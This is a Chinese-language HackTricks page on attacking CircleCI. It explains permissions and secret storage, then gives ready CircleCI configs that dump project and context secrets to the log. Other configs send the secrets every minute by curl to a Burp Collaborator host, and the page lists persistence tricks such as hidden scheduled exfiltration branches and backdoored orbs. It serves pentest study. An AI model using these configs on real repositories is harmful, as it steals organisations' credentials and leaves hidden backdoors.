CircleCI Security

支持HackTricks

基本信息

CircleCI是一个持续集成平台,您可以使用它来定义模板,指示您希望它对某些代码执行何种操作以及何时执行。这样,您可以直接从您的存储库主分支自动化测试部署

权限

CircleCI 继承了与登录相关的githubbitbucket权限。 在我的测试中,我发现只要您在github上对存储库具有写入权限,您就可以在CircleCI管理其项目设置(设置新的ssh密钥,获取项目api密钥,创建具有新CircleCI配置的新分支...)。

但是,您需要是存储库管理员才能将存储库转换为CircleCI项目

环境变量和秘密

根据文档,有不同的方法可以在工作流程中加载环境变量的值

内置环境变量

由CircleCI运行的每个容器将始终具有文档中定义的特定环境变量,如CIRCLE_PR_USERNAMECIRCLE_PROJECT_REPONAMECIRCLE_USERNAME

明文

您可以在命令中以明文声明它们:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

您可以在运行环境中以明文形式声明它们:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

您可以在build-job环境中以明文形式声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

您可以在容器环境中以明文形式声明它们:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

项目机密

这些是只能被项目(任何分支)访问的机密。 您可以在 https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables 中查看它们的声明。

"导入变量"功能允许从其他项目导入变量到此项目。

上下文机密

这些是组织范围的机密。默认情况下,任何存储在此处的机密都可以被任何存储库访问:

但请注意,可以选择一个不同的组(而不是所有成员)来仅允许特定人员访问机密。 这目前是增加机密安全性的最佳方式之一,不允许每个人都访问它们,而只允许某些人访问。

攻击

搜索明文机密

如果您可以访问VCS(如github),请检查每个存储库的每个分支的.circleci/config.yml文件,并搜索其中存储的潜在明文机密

机密环境变量和上下文枚举

通过检查代码,您可以找到每个.circleci/config.yml文件中使用的所有机密名称。您还可以从这些文件中获取上下文名称,或在Web控制台中检查它们:https://app.circleci.com/settings/organization/github/<org_name>/contexts

外泄项目机密

为了外泄所有项目和上下文机密,您只需要对整个github组织中的1个存储库具有写入访问权限(并且您的帐户必须可以访问上下文,但默认情况下每个人都可以访问每个上下文)。

"导入变量"功能允许从其他项目导入变量到此项目。因此,攻击者可以从所有存储库导入所有项目变量,然后一起外泄所有这些变量

所有项目机密始终设置在作业的环境中,因此只需调用环境并将其混淆为base64,即可在工作流Web日志控制台中外泄机密:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

如果您无法访问Web控制台,但可以访问存储库,并且知道正在使用CircleCI,您可以创建一个工作流每分钟触发一次,将机密信息传送到外部地址

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

泄露上下文中的秘密

您需要指定上下文名称(这也将泄露项目的秘密):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

如果您无法访问Web控制台,但可以访问存储库,并且知道正在使用CircleCI,您可以修改一个每分钟触发将机密信息传输到外部地址的工作流程:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

仅在存储库中创建一个新的 .circleci/config.yml 并不足以触发 CircleCI 构建。您需要在 CircleCI 控制台中将其启用为一个项目

逃逸至云端

CircleCI 提供了在他们的机器上或在您自己的机器上运行构建的选项。 默认情况下,他们的机器位于 GCP,最初您可能找不到任何相关信息。但是,如果受害者在他们自己的机器上运行任务(可能是在云环境中),您可能会发现一个包含有趣信息的云元数据端点

请注意,在前面的示例中,所有内容都是在一个 Docker 容器中启动的,但您也可以请求启动一个 VM 机器(可能具有不同的云权限):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

甚至是具有访问远程 Docker 服务权限的 Docker 容器:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

持久性

  • 可以在CircleCI中创建用户令牌以使用用户权限访问API端点。

  • https://app.circleci.com/settings/user/tokens

  • 可以创建项目令牌以使用分配给令牌的权限访问项目。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • 可以向项目添加SSH密钥

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 可以在意外项目中的隐藏分支中创建定时任务,每天泄露所有上下文环境变量。

  • 或者甚至在分支中创建/修改已知任务,每天泄露所有上下文和项目机密

  • 如果您是GitHub所有者,可以允许未经验证的orbs并在作业中配置一个作为后门

  • 您可以在某些任务中找到命令注入漏洞,通过秘密修改其值注入命令

支持HackTricks

Last updated